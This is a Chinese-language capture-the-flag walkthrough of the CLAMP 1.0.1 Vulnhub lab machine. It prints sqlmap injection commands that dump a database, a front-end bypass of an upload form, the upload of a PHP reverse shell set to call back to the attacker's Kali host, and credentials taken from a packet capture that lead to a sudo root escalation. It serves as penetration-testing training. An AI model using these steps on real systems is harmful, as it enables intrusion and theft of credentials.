CLAMP 1.0.1 Vulnhub Walkthrough

信息收集

主机发现

kali ip:192.168.233.128

靶机ip:192.168.233.142

端口扫描

nmap -p- -sV 192.168.233.142

发现开放的端口有80 22

访问80端口

目录爆破

发现没有什么有用目录,80端口也发现不了什么东西,看来只能加大力度爆破目录了,要不然根本没法打了

使用dirBuster进行爆破

访问:http://192.168.233.142/nt4stopc/

页面给了我们这些信息

Baku is the capital of Turkey?
False 0
The beginning of the French revolution is 1798.
True 1
Istanbul was conquered in 1435?
True 1
Fatih Sultan Mehmet is the founder of the Ottoman Empire?
False 0
The founder of robot science is Al-Cezeri?
True 1
Dennis Ritchie, who developed the C language?
True 1
The function definition belongs to the C89 standard?
True 1
The other element of the array is 1?
False 0
Is the maximum 32-but value 2,147,482646?
False 0
Is there an undefined behaviour in the following code?
True 1

最终获得二进制:0110111001

WEB渗透

访问80端口

192.168.233.142/nt4stopc/0110111001

刷新页面,会重定向到:http://192.168.233.142/nt4stopc/0110111001/summertimesummertime/

SQL注入

点击Recommended Resorts右下角的新闻时,发现:http://192.168.3.63/nt4stopc/0110111001/summertimesummertime/go.php?id=1,?id=1

这不很明显存在sql注入

直接上sqlmap

python3 sqlmap.py -u http://192.168.233.142/nt4stopc/0110111001/summertimesummertime/go.php?id=1 --dbs --batch

python3 sqlmap.py -u "http://192.168.233.142/nt4stopc/0110111001/summertimesummertime/go.php?id=3" --dbs --batch -D tatil -T gereksiz -C gereksiz --dump

发现了一串凯撒加密和upload.php

解密

使用在线网站解密:https://cryptii.com/pipes/caesar-cipher

解密获得:uvuvwevwevwe-onyetenyevwe-ugwemuhwem-osas

文件上传

访问http://192.168.233.142/nt4stopc/0110111001/summertimesummertime/uvuvwevwevwe-onyetenyevwe-ugwemuhwem-osas/upload.php

发现一个文件上传的点,但是好像有个问题,没有点击上传这个按钮???

修改前端代码试一下

F12

手动添加

<input name='up' type='submit'>

这下能提交了

发现以MD5值提交

发现文件名以md5值命名

用kali去生成反弹shell

locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .
nano php-reverse-shell.php     #IP修改为kali

成功上传

成功上传!提示说以osas尾数,MD5值命名

echo -n "php-reverse-shell.php" | md5sum

2ad6bded962b884337eaeb921d7c2764

kali开启监听,然后访问:http://192.168.233.142/nt4stopc/0110111001/summertimesummertime/uvuvwevwevwe-onyetenyevwe-ugwemuhwem-osas/osas/2ad6bded962b884337eaeb921d7c2764.php

成功反弹shell

python3 -c 'import pty;pty.spawn("/bin/bash")'
cd /var/www/html
ls
important.pcapng

流量分析

访问http://192.168.233.142/important.pcapng

email=mkelepce&message=Hello+there%2C+The+password+for+the+SSH+account+you+want+is%3A+mkelepce%3Amklpc-osas112.+If+you+encounter+a+problem%2C+just+mail+it.++Good+work

url解码,得到

email=mkelepce&message=Hello there, The password for the SSH account you want is: mkelepce:mklpc-osas112. If you encounter a problem, just mail it.  Good work

提权

sudo -l					运行 sudo -l 命令会列出当前用户在使用 sudo 时所具备的权限。
mklpc-osas112.

(ALL : ALL) ALL:表示用户可以在任何主机上以任何用户身份执行任何命令。

直接来sudo su

成功提权!

  • 8
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值